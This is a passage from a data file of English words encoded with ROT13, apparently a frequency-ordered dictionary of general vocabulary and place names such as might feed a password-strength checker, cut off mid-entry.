rq,qverpgvbany,ercyvpngvba,peblqba,pbzrqvrf,wnvyrq,betnavmrf,qribgrrf,erfreibvef,gheergf,bevtvangr,rpbabzvfgf,fbatjevgref,whagn,gerapurf,zbhaqf,cebcbegvbaf,pbzrqvp,ncbfgyr,nmreonvwnav,snezubhfr,erfrzoyrq,qvfehcgrq,cynlonpx,zvkrf,qvntbany,eryrinapr,tbirea,cebtenzzre,tqnafx,znvmr,fbhaqgenpxf,graqrapvrf,znfgrerq,vzcnpgrq,oryvriref,xvybzrger,vagreirar,punvecrefba,nrebqebzr,fnvyf,fhofvqvrf,rafherf,nrfgurgvpf,pbaterffrf,engvbf,fneqvavn,fbhgureazbfg,shapgvbarq,pbagebyyref,qbjajneq,enaqbzyl,qvfgbegvba,ertragf,cnyngvar,qvfehcgvba,fcvevghnyvgl,ivquna,genpgf,pbzcvyre,iragvyngvba,napubentr,flzcbfvhz,nffreg,cvfgbyf,rkpryyrq,nirahrf,pbaiblf,zbavxre,pbafgehpgvbaf,cebcbarag,cunfrq,fcvarf,betnavfvat,fpuyrfjvt,cbyvpvat,pnzcrbangb,zvarq,ubheyl,pebvk,yhpengvir,nhguragvpvgl,unvgvna,fgvzhyngvba,ohexvan,rfcvbantr,zvqsvryq,znahnyyl,fgnssrq,njnxravat,zrgnobyvp,ovbtencuvrf,ragercerarhefuvc,pbafcvphbhf,thnatqbat,cersnpr,fhotebhc,zlgubybtvpny,nqwhgnag,srzvavfz,ivyavhf,birefrrf,ubabhenoyr,gevcbyv,fglyvmrq,xvanfr,fbpvrgr,abgbevrgl,nygvghqrf,pbasvthengvbaf,bhgjneq,genafzvffvbaf,naabhaprf,nhqvgbe,rgunaby,pyhor,anawvat,zrppn,unvsn,oybtf,cbfgznfgre,cnenzvyvgnel,qrcneg,cbfvgvbavat,cbgrag,erpbtavmnoyr,fcver,oenpxrgf,erzrzoenapr,bireynccvat,ghexvp,negvphyngrq,fpvragbybtl,bcrengvp,qrcybl,ernqvarff,ovbgrpuabybtl,erfgevpg,pvarzngbtencure,vairegrq,flabalzbhf,nqzvavfgengviryl,jrfgcunyvn,pbzzbqvgvrf,ercynprf,qbjaybnqf,pragenyvmrq,zhavgvbaf,cernpurq,fvpuhna,snfuvbanoyr,vzcyrzragngvbaf,zngevprf,uvi/nvqf,yblnyvfg,yhmba,pryroengrf,unmneqf,urverff,zrepranevrf,flabalz,perbyr,ywhoywnan,grpuavpvna,nhqvgvbarq,grpuavpvnaf,ivrjcbvag,jrgynaq,zbatbyf,cevapryl,funevs,pbngvat,qlanfgvrf,fbhgujneq,qbhoyvat,sbezhyn_8,znlbeny,uneirfgvat,pbawrpgher,tbnygraqre,bprnavn,fcbxnar,jrygrejrvtug,oenpxrg,tngurevatf,jrvtugrq,arjfpnfgf,zhffbyvav,nssvyvngvbaf,qvfnqinagntr,ivoenag,fcurerf,fhygnangr,qvfgevohgbef,qvfyvxrq,rfgnoyvfurf,znepurf,qenfgvpnyyl,lvryqvat,wrjryyrel,lbxbunzn,infphyne,nveyvsg,pnabaf,fhopbzzvggrr,ercerffvba,fgeratguf,tenqrq,bhgfcbxra,shfrq,crzoebxr,svyzbtencul,erqhaqnag,sngvthr,ercrny,guernqf,ervffhr,craanag,rqvoyr,incbe,pbeerpgvbaf,fgvzhyv,pbzzrzbengvba,qvpgngbe,nanaq,frprffvba,nznffrq,bepuneqf,cbagvsvpny,rkcrevzragngvba,terrgrq,onatbe,sbejneqf,qrpbzcbfvgvba,dhena,gebyyrl,purfgresvryq,genirefr,frezbaf,ohevnyf,fxvre,pyvzof,pbafhygnagf,crgvgvbarq,ercebqhpr,cnegrq,vyyhzvangrq,xheqvfgna,ervtarq,bpphcnagf,cnpxntrq,trbzrgevqnr,jbira,erthyngvat,cebgntbavfgf,pensgrq,nssyhrag,pyretlzna,pbafbyrf,zvtenag,fhcerznpl,nggnpxref,pnyvcu,qrsrpg,pbairpgvba,enyyvrf,uheba,erfva,frthaqn,dhbgn,jnefuvc,birefrra,pevgvpvmvat,fuevarf,tynzbetna,ybjrevat,ornhk,unzcrerq,vainfvbaf,pbaqhpgbef,pbyyrpgf,oyhrtenff,fheebhaqf,fhofgengrf,crecrghny,puebabybtl,chyzbanel,rkrphgvbaf,pevzrn,pbzcvyvat,abpghvqnr,onggyrq,ghzbef,zvafx,abitbebq,freivprq,lrnfg,pbzchgngvba,fjnzcf,gurbqbe,onebargpl,fnysbeq,hehthnlna,fubegntrf,bqvfun,fvorevna,abirygl,pvarzngvp,vaivgngvbany,qrpxf,qbjntre,bccerffvba,onaqvgf,nccryyngr,fgngr-bs-gur-neg,pynqr,cnynprf,fvtanyyvat,tnynkvrf,vaqhfgevnyvfg,grafbe,yrneag,vapheerq,zntvfgengrf,ovaqf,beovgf,pvhqnq,jvyyvatarff,cravafhyne,onfvaf,ovbzrqvpny,funsgf,zneyobebhtu,obhearzbhgu,jvgufgnaq,svgmebl,qharqva,inevnapr,fgrnzfuvc,vagrtengvat,zhfphyne,svarf,nxeba,ohyobculyyhz,znyzb,qvfpybfrq,pbearefgbar,ehajnlf,zrqvpvarf,gjragl20,trgglfohet,cebterffrf,sevtngrf,obqvrq,genafsbezngvbaf,genafsbezf,uryraf,zbqryyrq,irefngvyr,erthyngbe,chefhvgf,yrtvgvznpl,nzcyvsvre,fpevcgherf,iblntrf,rknzvarf,cerfragref,bpgntbany,cbhygel,sbezhyn_9,nangbyvn,pbzchgrq,zvtengr,qverpgbevny,uloevqf,ybpnyvmrq,cersreevat,thttraurvz,crefvfgrq,tenffebbgf,vasynzzngvba,svfurel,bgntb,ivtbebhf,cebsrffvbaf,vafgehpgvbany,varkcrafvir,vafhetrapl,yrtvfyngbef,frdhryf,fheanzrf,ntenevna,fgnvayrff,anvebov,zvanf,sberehaare,nevfgbpenpl,genafvgvbaf,fvpvyvna,fubjpnfrq,qbfrf,uvebfuvzn,fhzznevmrq,trneobk,rznapvcngvba,yvzvgngvba,ahpyrv,frvfzvp,nonaqbazrag,qbzvangvat,nccebcevngvbaf,bpphcngvbaf,ryrpgevsvpngvba,uvyyl,pbagenpgvat,rknttrengrq,ragregnvare,xnmna,bevpba,pnegevqtrf,punenpgrevmngvba,cnepry,znunenwn,rkprrqf,nfcvevat,bovghnel,synggrarq,pbagenfgrq,aneengvba,ercyvrf,boyvdhr,bhgcbfg,sebagf,neenatre,gnyzhq,xrlarf,qbpgevarf,raqherq,pbasrffrf,sbegvsvpngvba,fhcreivfbef,xvybzrgre,npnqrzvr,wnzzh,onguhefg,cvenpl,cebfgvghgrf,anineer,phzhyngvir,pehvfrf,yvsrobng,gjvaarq,enqvpnyf,vagrenpgvat,rkcraqvgherf,jrksbeq,yvoer,shgfny,phengrq,pybpxjvfr,pbyybdhvnyyl,cebpherzrag,vzznphyngr,ylevpvfg,raunaprzrag,cbeprynva,nymurvzre,uvtuyvtugvat,whqnu,qvfnterrzragf,fgbelgryyvat,furygrerq,jebpynj,inhqrivyyr,pbagenfgf,arbpynffvpny,pbzcnerf,pbagenfgvat,qrpvqhbhf,senapnvfr,qrfpevcgvir,plpyvp,ernpgvir,nagvdhvgvrf,zrvwv,ercrngf,perqvgbef,sbepvoyl,arjznexrg,cvpgherfdhr,vzcraqvat,harira,ovfba,enprjnl,fbyirag,rphzravpny,bcgvp,cebsrffbefuvc,uneirfgrq,jngrejnl,onawb,cunenbu,trbybtvfg,fpnaavat,qvffrag,erplpyrq,haznaarq,ergerngvat,tbfcryf,ndhrqhpg,oenapurq,gnyyvaa,tebhaqoernxvat,flyynoyrf,unatne,qrfvtangvbaf,cebprqheny,pengref,pnovaf,rapelcgvba,naguebcbybtvfg,zbagrivqrb,bhgtbvat,vairearff,punggnabbtn,snfpvfz,pnynvf,puncryf,tebhaqjngre,qbjasnyy,zvfyrnqvat,ebobgvp,gbegevpvqnr,cvkry,unaqry,cebuvovg,perjr,eranzvat,ercevfrq,xvpxbss,yrsgvfg,fcnprq,vagrtref,pnhfrjnl,cvarf,nhgubefuvc,betnavfr,cgbyrzl,npprffvovyvgl,iveghrf,yrfvbaf,vebdhbvf,dhe'na,ngurvfg,flagurfvmrq,ovraavny,pbasrqrengrf,qvrgnel,fxngref,fgerffrf,gnevss,xbernaf,vagrepvgl,erchoyvpf,dhvagrg,onebarff,anvir,nzcyvghqr,vafvfgrapr,govyvfv,erfvqhrf,tenzzngvpny,qvirefvsvrq,rtlcgvnaf,nppbzcnavzrag,ivoengvba,ercbfvgbel,znaqny,gbcbybtvpny,qvfgvapgvbaf,pburerag,vainevnag,onggref,ahrib,vagreangvbanyf,vzcyrzragf,sbyybjre,onuvn,jvqrarq,vaqrcraqragf,pnagbarfr,gbgnyrq,thnqnynwnen,jbyirevarf,orsevraqrq,zhmmyr,fheirlvat,uhatnevnaf,zrqvpv,qrcbegngvba,enlba,nccebk,erpbhagf,nggraqf,pyrevpny,uryyravp,sheavfurq,nyyrtvat,fbyhoyr,flfgrzvp,tnyynagel,obyfurivx,vagreirarq,ubfgry,thacbjqre,fcrpvnyvfvat,fgvzhyngr,yrvqra,erzbirf,gurzngvp,sybeny,onsgn,cevagref,pbatybzrengr,rebqrq,nanylgvp,fhpprffviryl,yruvtu,gurffnybavxv,xvyqn,pynhfrf,nfpraqrq,arueh,fpevcgrq,gbxhtnjn,pbzcrgrapr,qvcybzngf,rkpyhqr,pbafrpengvba,serrqbzf,nffnhygf,erivfvbaf,oynpxfzvgu,grkghny,fcnefr,pbapnpns,fynva,hcybnqrq,raentrq,junyvat,thvfr,fgnqvhzf,qrohgvat,qbezvgbel,pneqvbinfphyne,lhaana,qvbprfrf,pbafhygnapl,abgvbaf,ybeqfuvc,nepuqrnpba,pbyyvqrq,zrqvny,nvesvryqf,tnezrag,jerfgyrq,nqevngvp,erirefny,ershryvat,irevsvpngvba,wnxbo,ubefrfubr,vagevpngr,irenpehm,fnenjnx,flaqvpngvba,flagurfvmre,nagubybtvrf,fgngher,srnfvovyvgl,thvyynhzr,aneengvirf,choyvpvmrq,nagevz,vagrezvggrag,pbafgvghragf,tevzfol,svyzznxvat,qbcvat,haynjshy,abzvanyyl,genafzvggvat,qbphzragvat,frngre,vagreangvbanyr,rwrpgrq,fgrnzobng,nyfnpr,obvfr,varyvtvoyr,trnerq,inffny,zhfgrerq,ivyyr,vayvar,cnvevat,rhenfvna,xletlmfgna,oneafyrl,ercevfr,fgrerbglcrf,ehfurf,pbasbez,sversvtugref,qrcbegvib,eribyhgvbanevrf,enoovf,pbapheerapl,punegref,fhfgnvavat,nfcvengvbaf,nytvref,puvpurfgre,snyxynaq,zbecubybtvpny,flfgrzngvpnyyl,ibypnabrf,qrfvtangr,negjbexf,erpynvzrq,whevfg,natyvn,erfheerpgrq,punbgvp,srnfvoyr,pvephyngvat,fvzhyngrq,raivebazragnyyl,pbasvarzrag,nqiragvfg,uneevfohet,ynoberef,bfgrafvoyl,havirefvnqr,crafvbaf,vasyhramn,oengvfynin,bpgnir,ersheovfuzrag,tbguraohet,chgva,onenatnl,naancbyvf,oernfgfgebxr,vyyhfgengrf,qvfgbegrq,puberbtencurq,cebzb,rzcunfvmvat,fgnxrubyqref,qrfpraqf,rkuvovgvat,vagevafvp,vairegroengrf,rirayl,ebhaqnobhg,fnygf,sbezhyn_10,fgengn,vauvovgvba,oenapuvat,fglyvfgvp,ehzberq,ernyvfrf,zvgbpubaqevny,pbzzhgrq,nqureragf,ybtbf,oybbzoret,gryrabiryn,thvarnf,punepbny,ratntrf,jvarel,ersyrpgvir,fvran,pnzoevqtrfuver,irageny,synfuonpx,vafgnyyvat,ratenivat,tenffrf,geniryyre,ebgngrq,cebcevrgbe,angvbanyvgvrf,cerprqrapr,fbheprq,genvaref,pnzobqvna,erqhpgvbaf,qrcyrgrq,fnunena,pynffvsvpngvbaf,ovbpurzvfgel,cynvagvssf,neoberghz,uhznavfg,svpgvgvbhf,nyrccb,pyvzngrf,onmnne,uvf/ure,ubzbtrarbhf,zhygvcyvpngvba,zbvarf,vaqrkrq,yvathvfg,fxryrgny,sbyvntr,fbpvrgny,qvssreragvngrq,vasbezvat,znzzny,vasnapl,nepuviny,pnsrf,znyyf,tenrzr,zhfrr,fpuvmbcueravn,snetb,cebabhaf,qrevingvba,qrfpraq,nfpraqvat,grezvangvat,qrivngvba,erpncgherq,pbasrffvbaf,jrnxravat,gnwvxvfgna,onunqhe,cnfgher,o/uvc,qbartny,fhcreivfvat,fvxuf,guvaxref,rhpyvqrna,ervasbeprzrag,sevnef,cbegntr,shfpbhf,yhpxabj,flapuebavmrq,nffregvba,pubvef,cevingvmngvba,pbeebfvba,zhygvghqr,fxlfpencre,eblnygvrf,yvtnzrag,hfnoyr,fcberf,qverpgf,pynfurq,fgbpxcbeg,sebagrq,qrcraqrapl,pbagvthbhf,ovbybtvfg,onpxfgebxr,cbjreubhfr,serfpbrf,culybtrargvp,jryqvat,xvyqner,tnoba,pbairlrq,nhtfohet,frirea,pbagvahhz,fnuvo,yvyyr,vawhevat,cnffrevsbezrfsnzvyl,fhpprrqf,genafyngvat,havgnevna,fgneghc,gheohyrag,bhgylvat,cuvynaguebcvp,fgnavfynj,vqbyf,pynerzbag,pbavpny,unelnan,nezntu,oyraqrq,vzcyvpvg,pbaqvgvbarq,zbqhyngvba,ebpuqnyr,ynobheref,pbvantr,fubegfgbc,cbgfqnz,trnef,borfvgl,orfgfryyre,nqivfref,obhgf,pbzrqvnaf,wbmrs,ynhfnaar,gnkbabzvp,pbeeryngrq,pbyhzovna,znear,vaqvpngvbaf,cflpubybtvfgf,yvory,rqvpg,ornhsbeg,qvfnqinagntrf,erany,svanyvmrq,enprubefr,hapbairagvbany,qvfgheonaprf,snyfryl,mbbybtl,nqbearq,erqrfvta,rkrphgvat,aneebjre,pbzzraqrq,nccyvnaprf,fgnyyf,erfhetrapr,fnfxngbba,zvfpryynarbhf,crezvggvat,rcbpu,sbezhyn_11,phzoevn,sbersebag,irqvp,rnfgraqref,qvfcbfrq,fhcreznexrgf,ebjre,vauvovgbe,zntarfvhz,pbybheshy,lhfhs,uneebj,sbezhynf,pragenyyl,onynapvat,vbavp,abpgheany,pbafbyvqngr,beangr,envqvat,punevfzngvp,nppryrengr,abzvangr,erfvqhny,qunov,pbzzrzbengrf,nggevohgvba,havaunovgrq,zvaqnanb,ngebpvgvrf,trarnybtvpny,ebznav,nccyvpnag,ranpgzrag,nofgenpgvba,gebhtu,chycvg,zvahfphyr,zvfpbaqhpg,teranqrf,gvzryl,fhccyrzragf,zrffntvat,pheingher,prnfrsver,grynatnan,fhfdhrunaan,oenxvat,erqvfgevohgvba,fuerircbeg,arvtuobheubbqf,tertbevna,jvqbjrq,xuhmrfgna,rzcbjrezrag,fpubynfgvp,rinatryvfg,crcgvqr,gbcvpny,gurbevfg,uvfgbevn,gurapr,fhqnarfr,zhfrb,whevfcehqrapr,znfhevna,senaxvfu,urnqyvarq,erpbhagrq,argonyy,crgvgvbaf,gbyrenag,urpgner,gehapngrq,fbhguraq,zrgunar,pncgvirf,ervtaf,znffvs,fhohavg,npvqvp,jrvtugyvsgvat,sbbgonyyref,fnonu,oevgnaavn,ghavfvna,frtertngrq,fnjzvyy,jvguqenjvat,hacnvq,jrncbael,fbzzr,creprcgvbaf,havpbqr,nypbubyvfz,qheona,jebhtug,jngresnyyf,wvunq,nhfpujvgm,hcynaq,rnfgobhaq,nqwrpgvir,naunyg,rinyhngvat,ertvzrf,thvyqsbeq,ercebqhprq,cnzcuyrgf,uvrenepuvpny,znarhiref,unabv,snoevpngrq,ercrgvgvba,raevpurq,negrevny,ercynprzragf,gvqrf,tybonyvmngvba,nqrdhngryl,jrfgobhaq,fngvfsnpgbel,syrrgf,cubfcubehf,ynfgyl,arhebfpvrapr,napubef,kvawvnat,zrzoenarf,vzcebivfngvba,fuvczragf,begubqbkl,fhozvffvbaf,obyvivna,znuzhq,enzcf,yrlgr,cnfgherf,bhgyvarf,syrrf,genafzvggref,snerf,frdhragvny,fgvzhyngrq,abivpr,nygreangryl,flzzrgevpny,oernxnjnl,ynlrerq,onebargf,yvmneqf,oynpxvfu,rqbhneq,ubefrcbjre,cranat,cevapvcnyf,zrepnagvyr,znyqvirf,birejuryzvatyl,unjxr,enyyvrq,cebfgngr,pbafpevcgvba,whiravyrf,znppnov,pneivatf,fgevxref,fhqohel,fcheerq,vzcebirf,ybzoneql,znpdhnevr,cnevfvna,rynfgvp,qvfgvyyrel,furgynaq,uhznar,oeragsbeq,jerkunz,jnerubhfrf,ebhgvarf,rapbzcnffrq,vagebqhpgbel,vfsnuna,vafgvghgb,cnynvf,eribyhgvbaf,fcbenqvp,vzcbirevfurq,cbegvpb,sryybjfuvcf,fcrphyngvir,raebyy,qbeznag,nqurer,shaqnzragnyyl,fphycgrq,zrevgbevbhf,grzcyngr,hctenqvat,ersbezre,erpgbel,haperqvgrq,vaqvpngvir,perrxf,tnyirfgba,enqvpnyyl,urmobyynu,svernez,rqhpngvat,cebuvovgf,gebaqurvz,ybphf,ersvg,urnqjngref,fperravatf,ybjynaqf,jnfcf,pbnefr,nggnvavat,frqvzragnel,crevfurq,cvgpusbex,vagrearq,preeb,fgntrpbnpu,nrebanhgvpny,yvgre,genafvgvbarq,unlqa,vanpphengr,yrtvfyngherf,oebzjvpu,xarffrg,fcrpgebfpbcl,ohggr,nfvngvp,qrtenqrq,pbapbeqvn,pngnfgebcuvp,yborf,jryyarff,crafnpbyn,crevcurel,uncbry,gurgn,ubevmbagnyyl,servohet,yvorenyvfz,cyrnf,qhenoyr,jnezvna,bssrafrf,zrfbcbgnzvn,funaqbat,hafhvgnoyr,ubfcvgnyvmrq,nccebcevngryl,cubargvp,rapbzcnff,pbairefvbaf,bofreirf,vyyarffrf,oernxbhg,nffvtaf,pebjaf,vauvovgbef,avtugyl,znavsrfgngvba,sbhagnvaf,znkvzvmr,nycunorgvpny,fybbc,rkcnaqf,arjgbja,jvqravat,tnqqnsv,pbzzrapvat,pnzbhsyntr,sbbgcevag,gleby,onenatnlf,havirefvgr,uvtuynaqref,ohqtrgf,dhrel,yboovrq,jrfgpurfgre,rdhngbe,fgvchyngrq,cbvagr,qvfgvathvfurf,nyybggrq,rzonaxzrag,nqivfrf,fgbevat,yblnyvfgf,sbhevre,erurnefnyf,fgneingvba,tynaq,evunaan,ghohyne,rkcerffvir,onppnynherngr,vagrefrpgvbaf,erirerq,pneobangr,revgern,pensgfzra,pbfzbcbyvgna,frdhrapvat,pbeevqbef,fubegyvfgrq,onatynqrfuv,crefvnaf,zvzvp,cnenqrf,ercrgvgvir,erpbzzraqf,synaxf,cebzbgref,vapbzcngvoyr,grnzvat,nzzbavn,terlubhaq,fbybf,vzcebcre,yrtvfyngbe,arjfjrrx,erpheerag,ivgeb,pniraqvfu,rvernaa,pevfrf,cebcurgf,znaqve,fgengrtvpnyyl,threevyynf,sbezhyn_12,turag,pbagraqref,rdhvinyrapr,qebar,fbpvbybtvpny,unzvq,pnfgrf,fgngrubbq,nynaq,pyvapurq,erynhapurq,gnevssf,fvzhyngvbaf,jvyyvnzfohet,ebgngr,zrqvngvba,fznyycbk,unezbavpn,ybqtrf,ynivfu,erfgevpgvir,b'fhyyvina,qrgnvarrf,cbylabzvnyf,rpubrf,vagrefrpgvat,yrnearef,ryrpgf,puneyrzntar,qrsvnapr,rcfbz,yvfmg,snpvyvgngvat,nofbeovat,eriryngvbaf,cnqhn,cvrgre,cvbhf,crahygvzngr,znzznyvna,zbagrarteva,fhccyrzragnel,jvqbjf,nebzngvp,pebngf,ebnabxr,gevrfgr,yrtvbaf,fhoqvfgevpg,onolybavna,tenffynaqf,ibytn,ivbyragyl,fcnefryl,byqvrf,gryrpbzzhavpngvba,erfcbaqragf,dhneevrf,qbjaybnqnoyr,pbzznaqbf,gnkcnlre,pngnylgvp,znynone,nssbeqrq,pbclvat,qrpyvarf,anjno,whapgvbaf,nffrffvat,svygrevat,pynffrq,qvfhfrq,pbzcyvnag,puevfgbcu,tbggvatra,pvivyvmngvbaf,urezvgntr,pnyrqbavna,jurerhcba,rguavpnyyl,fcevatfgrra,zbovyvmngvba,greenprf,vaqhf,rkpry,mbbybtvpny,raevpuzrag,fvzhyngr,thvgnevfgf,ertvfgene,pnccryyn,vaibxrq,erhfrq,znapuh,pbasvtherq,hccfnyn,trarnybtl,zretref,pnfgf,pheevphyne,eroryyrq,fhopbagvarag,ubegvphygheny,cneenznggn,bepurfgengrq,qbpxlneq,pynhqvhf,qrppn,cebuvovgvat,ghexzravfgna,oenuzva,pynaqrfgvar,boyvtngbel,rynobengrq,cnenfvgvp,uryvk,pbafgenvag,fcrneurnqrq,ebgureunz,rivpgvba,nqncgvat,nyonaf,erfphrf,fbpvbybtvfg,thvnan,pbaivpgf,bppheeraprf,xnzra,nagraanf,nfghevnf,jurryrq,fnavgnel,qrgrevbengvba,gevre,gurbevfgf,onfryvar,naabhaprzragf,inyrn,cynaaref,snpghny,frevnyvmrq,frevnyf,ovyonb,qrzbgrq,svffvba,wnzrfgbja,pubyren,nyyrivngr,nygrengvba,vaqrsvavgr,fhysngr,cnprq,pyvzngvp,inyhngvba,negvfnaf,cebsvpvrapl,nrtrna,erthyngbef,syrqtyvat,frnyvat,vasyhrapvat,freivprzra,serdhragrq,pnapref,gnzoba,anenlna,onaxref,pynevsvrq,rzobqvrq,ratenire,erbetnavfngvba,qvffngvfsvrq,qvpgngrq,fhccyrzragny,grzcrenapr,engvsvpngvba,chtrg,ahgevrag,cergbevn,cnclehf,havgvat,nfpevorq,pberf,pbcgvp,fpubbyubhfr,oneevb,1910f,nezbel,qrsrpgrq,genafngynagvp,erthyngrf,cbegrq,negrsnpgf,fcrpvsvrf,obnfgrq,fpberef,zbyyhfxf,rzvggrq,anivtnoyr,dhnxref,cebwrpgvir,qvnybthrf,erhavsvpngvba,rkcbaragvny,infgyl,onaaref,hafvtarq,qvffvcngrq,unyirf,pbvapvqragnyyl,yrnfvat,checbegrq,rfpbegvat,rfgvzngvba,sbkrf,yvsrfcna,vasyberfprapr,nffvzvyngvba,fubjqbja,fgnhapu,cebybthr,yvtnaq,fhcreyvtn,gryrfpbcrf,abegujneqf,xrlabgr,urnivrfg,gnhagba,erqrirybcrq,ibpnyvfgf,cbqynfxvr,fblhm,ebqragf,nmberf,zbenivna,bhgfrg,cneragurfrf,nccnery,qbzrfgvpnyyl,nhgubevgngvir,cbylzref,zbagreerl,vauvovg,ynhapure,wbeqnavna,sbyqf,gnkvf,znaqngrf,fvatyrq,yvrpugrafgrva,fhofvfgrapr,znekvfz,bhfgrq,tbireabefuvc,freivpvat,bssfrnfba,zbqreavfz,cevfz,qribhg,genafyngbef,vfynzvfg,puebzbfbzrf,cvggrq,orqsbeqfuver,snoevpngvba,nhgubevgnevna,wninarfr,yrnsyrgf,genafvrag,fhofgnagvir,cerqngbel,fvtvfzhaq,nffnffvangr,qvntenzf,neenlf,erqvfpbirerq,erpynzngvba,fcnjavat,swbeq,crnprxrrcvat,fgenaqf,snoevpf,uvtuf,erthynef,gvenan,hygenivbyrg,nguravna,svyyl,onearg,annpc,ahrin,snibhevgrf,grezvangrf,fubjpnfrf,pybarf,vaureragyl,vagrecergvat,owbea,svaryl,ynhqrq,hafcrpvsvrq,pubyn,cyrvfgbprar,vafhyngvba,nagvyyrf,qbargfx,shaary,ahgevgvbany,ovraanyr,ernpgvingrq,fbhgucbeg,cevzngr,pninyvref,nhfgevnaf,vagrefcrefrq,erfgnegrq,fhevanzr,nzcyvsvref,jynqlfynj,oybpxohfgre,fcbegfzna,zvabthr,oevtugarff,orapurf,oevqtrcbeg,vavgvngvat,vfenryvf,beovgvat,arjpbzref,rkgreanyyl,fpnyvat,genafpevorq,vzcnvezrag,yhkhevbhf,ybatrivgl,vzcrghf,grzcrenzrag,prvyvatf,gpunvxbifxl,fcernqf,cnagurba,ohernhpenpl,1820f,urenyqvp,ivyynf,sbezhyn_13,tnyvpvna,zrngu,nibvqnapr,pbeerfcbaqrq,urnqyvavat,pbaanpug,frrxref,enccref,fbyvqf,zbabtencu,fpberyrff,bcbyr,vfbgbcrf,uvznynlnf,cnebqvrf,tnezragf,zvpebfpbcvp,erchoyvfurq,univyynaq,bexarl,qrzbafgengbef,cngubtra,fnghengrq,uryyravfgvp,snpvyvgngrf,nrebqlanzvp,erybpngvat,vaqbpuvan,yniny,nfgebabzref,ordhrngurq,nqzvavfgengvbaf,rkgenpgf,antbln,gbedhnl,qrzbtencul,zrqvpner,nzovthvgl,erahzorerq,chefhnag,pbapnir,flevnp,ryrpgebqr,qvfcrefny,urana,ovnylfgbx,jnyfnyy,pelfgnyyvar,chroyn,wnangn,vyyhzvangvba,gvnawva,rafynirq,pbybengvba,punzcvbarq,qrsnzngvba,tevyyr,wbube,erwbva,pnfcvna,sngnyyl,cynapx,jbexvatf,nccbvagvat,vafgvghgvbanyvmrq,jrffrk,zbqreavmrq,rkrzcyvsvrq,ertnggn,wnpbovgr,cnebpuvny,cebtenzzref,oyraqvat,rehcgvbaf,vafheerpgvba,erterffvba,vaqvprf,fvgrq,qragvfgel,zbovyvmrq,sheavfuvatf,yrinag,cevznevrf,neqrag,antnfnxv,pbadhrebe,qbepurfgre,bcvarq,urnegynaq,nzzna,zbegnyyl,jryyrfyrl,objyref,bhgchgf,pbirgrq,begubtencul,vzzrefvba,qvfercnve,qvfnqinagntrq,phengr,puvyqyrff,pbaqrafrq,pbqvpr_1,erzbqryrq,erfhygnag,obyfurivxf,fhcresnzvyl,fnkbaf,2010f,pbagenpghny,evinyevrf,znynppn,bnknpn,zntangr,iregroenr,dhrmba,bylzcvnq,lhpngna,glerf,znpeb,fcrpvnyvmngvba,pbzzraqngvba,pnyvcungr,thaarel,rkvyrf,rkprecgf,senhqhyrag,nqwhfgnoyr,nenznvp,vagreprcgbe,qehzzvat,fgnaqneqvmngvba,erpvcebpny,nqbyrfpragf,srqrenyvfg,nrebanhgvpf,snibenoyl,rasbepvat,ervagebqhprq,murwvnat,ersvavat,ovcynar,onaxabgrf,nppbeqvba,vagrefrpg,vyyhfgengvat,fhzzvgf,pynffzngr,zvyvgvnf,ovbznff,znffnperf,rcvqrzvbybtl,erjbexrq,jerfgyrznavn,anagrf,nhqvgbel,gnkba,ryyvcgvpny,purzbgurencl,nffregvat,nibvqf,cebsvpvrag,nvezra,lryybjfgbar,zhygvphygheny,nyyblf,hgvyvmngvba,fravbevgl,xhlnivna,uhagfivyyr,begubtbany,oybbzvatgba,phygvinef,pnfvzve,vagreazrag,erchyfrq,vzcrqnapr,eribyivat,srezragngvba,cnenan,fuhgbhg,cnegarevat,rzcbjrerq,vfynznonq,cbyyrq,pynffvsl,nzcuvovnaf,terlvfu,borqvrapr,4k100,cebwrpgvyr,xulore,unysonpx,eryngvbany,q'vibver,flabalzf,raqrnibhe,cnqzn,phfgbzvmrq,znfgrel,qrsraprzna,oreore,chetr,vagrerfgvatyl,pbirag,cebzhytngrq,erfgevpgvat,pbaqrzangvba,uvyyfobebhtu,jnyxref,cevingrre,vagen,pncgnvapl,anghenyvmrq,uhssvatgba,qrgrpgvat,uvagrq,zvtengvat,onlbh,pbhagrenggnpx,nangbzvpny,sbentvat,hafnsr,fjvsgyl,bhgqngrq,cnenthnlna,nggver,znfwvq,raqrnibef,wrefrlf,gevnffvp,dhrpuhn,tebjref,nkvny,npphzhyngr,jnfgrjngre,pbtavgvba,shatny,navzngbe,cntbqn,xbpuv,havsbezyl,nagvobql,lrerina,ulcbgurfrf,pbzongnagf,vgnyvnangr,qenvavat,sentzragngvba,fabjsnyy,sbezngvir,vairefvba,xvgpurare,vqragvsvre,nqqvgvir,yhpun,fryrpgf,nfuynaq,pnzoevna,enprgenpx,genccvat,pbatravgny,cevzngrf,jniryratguf,rkcnafvbaf,lrbznael,unepbheg,jrnyguvrfg,njnvgrq,chagn,vagreiravat,ntterffviryl,ivpul,cvybgrq,zvqgbja,gnvyberq,urlqnl,zrgnqngn,thnqnypnany,vabetnavp,unqvgu,chyfrf,senapnvf,gnatrag,fpnaqnyf,reebarbhfyl,genpgbef,cvtzrag,pbafgnohynel,wvnatfh,ynaqsvyy,zregba,onfnyg,nfgbe,sbeonqr,qrohgf,pbyyvfvbaf,rkpurdhre,fgnqvba,ebbsrq,synibhe,fphycgbef,pbafreinapl,qvffrzvangvba,ryrpgevpnyyl,haqrirybcrq,rkvfgrag,fhecnffvat,cragrpbfgny,znavsrfgrq,nzraq,sbezhyn_14,fhcreuhzna,onetrf,ghavf,nanylgvpf,netlyy,yvdhvqf,zrpunavmrq,qbzrf,znafvbaf,uvznynlna,vaqrkvat,erhgref,abayvarne,chevsvpngvba,rkvgvat,gvzoref,gevnatyrf,qrpbzzvffvbavat,qrcnegzragny,pnhfny,sbagf,nzrevpnan,frcg.,frnfbanyyl,vapbzrf,enmniv,furqf,zrzbenovyvn,ebgngvbany,greer,fhgen,cebgrtr,lnezbhgu,tenaqznfgre,naahz,ybbgrq,vzcrevnyvfz,inevnovyvgl,yvdhvqngvba,oncgvfrq,vfbgbcr,fubjpnfvat,zvyyvat,engvbanyr,unzzrefzvgu,nhfgra,fgernzyvarq,npxabjyrqtvat,pbagragvbhf,dnyru,oernqgu,ghevat,ersrerrf,sreny,gbhyba,habssvpvnyyl,vqragvsvnoyr,fgnaqbhg,ynoryvat,qvffngvfsnpgvba,whetra,natevyl,srngurejrvtug,pnagbaf,pbafgenvarq,qbzvangrf,fgnaqnybar,eryvadhvfurq,gurbybtvnaf,znexrqyl,vgnyvpf,qbjarq,avgengr,yvxrarq,thyrf,pensgfzna,fvatncberna,cvkryf,znaqryn,zbenl,cnevgl,qrcnegrzrag,nagvtra,npnqrzvpnyyl,ohetu,oenuzn,neenatrf,jbhaqvat,gevnguyba,ab